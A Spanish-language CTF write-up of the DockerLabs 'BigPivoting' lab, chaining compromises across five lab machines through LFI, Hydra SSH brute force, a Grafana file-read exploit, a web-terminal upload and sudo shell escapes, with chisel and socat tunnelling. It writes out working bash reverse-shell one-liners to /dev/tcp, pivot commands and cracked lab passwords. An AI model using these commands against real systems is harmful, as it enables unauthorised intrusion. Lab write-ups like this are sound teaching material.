romabri@home:~$

BigPivoting - DockerLabs

OS Dificultad Creator
Linux Difícil ElPinguinoDeMario

Buenas a todos antes de empezar con la maquina os dejo un esquema que he ido haciendo durante la maquina para que sea un poco mas visual.

imagen

También dejo el link para que lo podáis ver bien

https://excalidraw.com/#json=F0pKFrAZ31tFpyHGZfMBP,3DjBbERZnzq3ysvDuMk5vg

Maquina 1

Escaneo y Reconocimiento de puertos

Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap a la IP 10.10.10.2.

imagen

nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2

  • -p- - Búsqueda de puertos abiertos
  • --open - Enumera los puertos abiertos
  • -sS - Es un modo de escaneo rapido
  • -sC- - Que use un conjunto de scripts de reconocimiento
  • -sV - Que encuentre la version del servicio abirto
  • --min-rate=5000 - Hace que el reconocimiento aun vaya mas rapido mandando no menos de 5000 paquetes
  • -n - No hace resolución DNS
  • -Pn - No hace ping
  • -vvv - Muestra en pantalla a medida que encuentra puertos (Verbose)

Vemos que esta abierto el puerto 22 SSH y el puerto 80 HTTP

Enumeración Web

Si accedemos a la pagina web vemos lo siguiente

imagen

Es la página por defecto de Apache2.

Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.20.10.5/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

Gobuster ha encontrado el directorio /shop, vamos a investigarlo.

imagen

imagen

Nos encontramos esta pagina web, vemos que en la parte inferior hay un error, esto nos da una pista de que seguramente esta web sea vulnerable a un LFI vamos a probarlo.

imagen

Efectivamente, y al listar el directorio /etc/passwd encontramos dos usuarios del sistema, con esta información ahora vamos hacer un ataque de fuerza bruta al puerto 22 SSH

Ataque de fuerza bruta con Hydra

hydra -l manchi -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.2

  • -l - Para especificar el usuario
  • -P - Para especificar que diccionario de fuerza bruta usaremos
  • `ssh://10.10.10.2 - Especificamos que queremos atentar contra el protocolo SSH de la IP victima

imagen

Como vemos, existe el usuario manchi y la contraseña es lovely.

Intrusión

Ahora accedemos vía SSH

ssh manchi@10.10.10.2

imagen

Al no encontrar nada para poder escalar vamos a intentar hacer un ataque de fuerza bruta en local con un script que se puede descargar desde aquí

https://github.com/Maalfer/Sudo_BruteForce

Al ejecutar el script que le hemos de pasar el usuario y el diccionario rockyou vemos que nos encuentra la contraseña

imagen

Usuario seller con la contraseña qwerty

Vamos a escalar a este usuario.

Escalada de privilegios

Ahora si hacemos un sudo -l vemos que podemos ejecutar el binario php como cualquier usuario, vamos a buscarlo en GTFObins

imagen

Esta es la forma para poder escalar a root

imagen

Lo que haremos sera lo siguiente:

sudo -u root /usr/bin/php -r "system('/bin/sh');"

Y nos convertiremos en root

imagen

Pivoting 1

Si hacemos un hostname -I vemos que hay otra interfaz de red la 20.20.20.2

imagen

En este punto vamos a configurar el entorno de chisel para gestionar y reenviar los puertos de la 20.20.20.3 a nuestra maquina atacante.

imagen

Nos pasamos el chisel a la maquina 10.10.10.2.

Ahora desde la máquina atacante nos ponemos en escucha con chisel.

chisel server --reverse -p 1234

imagen

Y en la maquina victima con IP 10.10.10.2 configuramos el chisel para que podamos ver desde la maquina 10.10.10.1 la IP 20.20.20.2.

./chisel client 10.10.10.1:1234 R:socks

imagen

Perfecto ahora ya tenemos visibilidad de la maquina 20.20.20.2

Maquina 2

Escaneo y Reconocimiento de puertos

Vamos hacer un analisis de puertos, con nmap pero ahora siempre delante de cada instrucción hemos de poner el comando proxychains

proxychains nmap -sT -Pn -p- -sV --open -T5 -v -n 20.20.20.3 2>/dev/null

imagen

Encontramos el puerto 21,22,80 y 3000

Enumeración Web

Configuramos el proxy para poder visualizar lo que se aloja en el puerto 80 de la maquina 20.20.20.3

imagen

Y si accedemos al puerto 80 vemos que esta la Default Page de Apache2

imagen

Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.

gobuster dir -u http://20.20.20.3/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php --proxy socks5://127.0.0.1:1080

  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.20.10.5/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

Nos encuentra el repositorio /maintence.html imagen imagen

Nos encontramos esto pero no hay nada mas vamos a ver los otros puerto empezemos por el puerto 3000

Puerto 3000

imagen

En la parte inferior nos dice la versión de grafana

Si buscamos en searchsploit si hay algún exploit disponible nos pone que hay uno

imagen

Con este script podemos ver archivos internos del servidor

imagen

Vamos a mirar la ruta que nos decia la pagina web a ver que hay

imagen

Tenemos una contraseña t9sH76gpQ82UFeZ3GXZS

Puerto 21

imagen

Nos podemos conectar con el usuario anonymous vamos a ver si encontramos algo interesante

imagen

Y nos encontramos con un archivo database.kdbx que es un archivo de keepass, lo descargamos

Vamos a intentar usar la contraseña para abrir el keepass

imagen

ES LA CONTRASEÑA!

Ahora vamos a intentar conectar con estas credenciales por ssh a ver si funcionan.

Usuario freddy contraseña t9sH76gpQ82UFeZ3GXZS

imagen

Escalada de privilegios

Para escalar privilegio podemos hacer lo siguiente

imagen

Vemos que hay un script vamos a ver que hace

imagen

Vamos a ver si tenemos permisos para modificarlo

imagen

Si que podemos vamos a escribir un codigo para que al ejecutarlo nos de una terminal como root.

imagen

Vamos a ejecutarlo a ver si funciona

imagen

ya somos ROOT

Pivoting 2

Si miramos cuantas interfaces de red tenemos vemos que hay 2 mas y tenemos el rango de ip’s 30.30.30.2

imagen

Ahora desde la máquina 10.10.10.2 o 20.20.20.2 que es la misma nos compartimos el chisel a esta siguiente máquina mediante un servidor HTTP con python

imagen

Ahora desde la primera máquina la ip 10.10.10.2 o 20.20.20.2 vamos a necesitar socat para ir pasando la conexión de chisel

Entonces en nuestra maquina atacante nos descargamos el socat

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat

Este lo compartimos con un servidor con pyhton a la maquina 10.10.10.2

imagen

Y decimos que todo lo que nos llegue a la IP 10.10.10.0/24 que lo mande a la máquina atacante por el puerto 1234, que es donde tenemos chisel escuchando:

./socat tcp-l:1111,fork,reuseaddr tcp:10.10.10.1:1234

Ahora lo que tenemos que hacer es en compartir el chisel de la maquina 10.10.10.2 o 20.20.20.2 que es la misma a la maquina 20.20.20.3 o 30.30.30.2

imagen

imagen

De esta forma lo que acabamos de hacer es decirle a chisel que todos los puertos sean redirigidos al puerto 8888 y que pase al socat de la maquina 10.10.10.2 o 20.20.20.2 que es la misma para que el socat lo redirigía al chisel que este termina en la maquina atacante

imagen

Ahora tenemos que editar el archivo proxychains.conf y vamos a editar el archivo de proxychains y descomentamos la línea donde dice scrict_chain:

imagen

imagen

Configuramos en FoxyProxy el nuevo tunel

imagen

Maquina 3

Escaneo y Reconocimiento de puertos

Vamos hacer un analisis de puertos, con nmap pero ahora siempre delante de cada instrucción hemos de poner el comando proxychains

proxychains nmap -sT -Pn -p- -sV --open -T5 -v -n 30.30.30.3 2>/dev/null

imagen

Vemos que tenemos el puerto 80 y el puerto 22 abrietos entoces vamos a tirar de goubuster a ver que encuentra

imagen

Y vemos que nos encuentra un /secret.php vamos a ver que es.

imagen

Tenemos un posible usuario vamos hacer fuerza bruta al usuario por el protocolo ssh.

imagen

Hacemos el comando proxychains hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://30.30.30.3 y nos da la contraseña del usuario mario vamos a conectarnos a la maquina y busquemos la forma de escalar privilegios

imagen

Listo ya somos ROOT vamos a ver las interfaces de red que hay

Pivoting 3

imagen

Vemos la 40.40.40.2 vamos a pasarnos el socat a la maquina 20.20.20.3 y configuramos para que rediriga todo lo que le entre por el puerto 20.20.20.2:1111 asi tendremos acceso desde la primera maquina. De la siguiente forma

imagen

Ahora en la maquina 30.30.30.3 vamos a pasarnos el chisel para poder acceder a el desde la maquina atacante con el siguiente comando

imagen

Si lo hemos hecho bien en el chisel de nuestra maquina atacante aparecerá lo siguiente

imagen

Ahora vamos añadir el sock 9999 al archivo /etc/proxychains4.conf

Maquina 4

Vemos que tenemos el puerto 80 abierto vamos a ver que hay en el.

imagen

Antes de hacer esto vamos a configurar el foxyproxy

imagen

Vamos a ver que hay en el puerto 80

imagen

Vamos hacer fuzzing a ver si encontramos mas directorios

imagen

Encontramos el directorio uploads

imagen

Ahora vamos ha subir una web terminal

Pivoting 4

Ahora tenemos que preparar socat para que la reverse shell vaya desde esta IP 40.40.40.3 hasta nuestro Kali, por lo que enviaremos socat a la máquina anterior, desde la 10.10.10.0/24 a la 20.20.20.0/24 y desde la 30.30.30.0/24:

Lo hacemos de esta forma

En la primara maquina

socat tcp-l:4444,fork tcp:10.10.10.1:443

En la segunda `

socat tcp-l:4444,fork tcp:20.20.20.2:4444

En la tercera

socat tcp-l:4444,fork tcp:30.30.30.2:4444

Nos ponemos en escucha por el puerto 443 con netcat

Y en la web terminal ponemos lo siguiente

bash -c "bash -i >& /dev/tcp/40.40.40.2/4444 0>&1"

Y nos va a dar la reverse shell

imagen

Vamos a escalar privilegios

imagen

Vemos que podemos usar el binario env como root vamos a escalar privilegios de esta forma

sudo -u root /usr/bin/env /bin/sh

imagen

Ahora vamos a ver que interfaces tiene esta maquina

imagen

Vemos que tiene 2, ahora vamos a montar todos los túneles para poder acceder a la maquina en la red 50.50.50.2

En la primera maquina

./socat tcp-l:3333,fork,reuseaddr tcp:10.10.10.1:1234

En la segunda maquina

./socat tcp-l:3333,fork,reuseaddr tcp:20.20.20.2:3333

En la tercera maquina

./socat tcp-l:3333,fork,reuseaddr tcp:30.30.30.2:3333

Y en la ultima maquina nos pasamos el chisel y hacemos lo siguiente

./chisel client 40.40.40.2:3333 R:5555:socks

imagen

Con esto lo que hacemos es que todo lo que pase por el puerto 3333 lo vaya pasando hasta la maquina atacante y creamos un nuevo socks que lo hemos de añadir al archivo /etc/proxychains4.conf.

imagen

Maquina 5

Una vez hecho esto vamos hacer un escaneo de puerto de la maquina 50.50.50.3

Encontramos el puerto 80 vamos a ver que hay en la web pero antes vamos a configurar el foxyproxy

imagen

imagen

Vemos esto en el interior de la web vamos hacer fuzzing con gobuster a ver si encontramos algo

imagen

Vemos un shell.php que no hay nada y un warning.html vamos acceder

imagen

Entonces vamos a usar WFUZZ para ver cual es el parametro que falta ahi de la siguente forma

proxychains wfuzz -c --hh=53 --hc=404 -w usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-  
medium.txt -u "http://50.50.50.3/shell.php?FUZZ=id"

imagen

Encontramos que el parametro es parameter vamos a ver si es correcto

imagen

Efectivamente es correcto ahora vamos a configurar para que nos mande una reverse shell pasando por todos los otros pc y que llegue a nuestro pc atacante.

Ultima configuración

Realmente ya lo tenemos montado lo que nos falta es en la ultima maquina vulnerada la 40.40.40.3 vamos a pasarnos el socat y hacemos lo siguiente

./socat tcp-l:4444,fork tcp:40.40.40.2:4444

Ahora ya tenemos todo el tunel montado entonces vamos a enviar una reverse shell a nuestra maquina atacante

bash -c "bash -i >%26 /dev/tcp/40.40.40.2/4444 0>%261"

Y si esta todo bien deberiamos tener una reverse shell

imagen

Vemos que en la carpeta tmp hay un .secrects.txt y en su interior hay una contraseña vamos a probar a ver si es la contraseña de root

imagen

Ya somos root ahora vamos a ver las interfaces de red

imagen

Vemos que ya no hay mas entonces hasta aquí este wirteup sinceramente como diría el meme… estoy cansado jefe…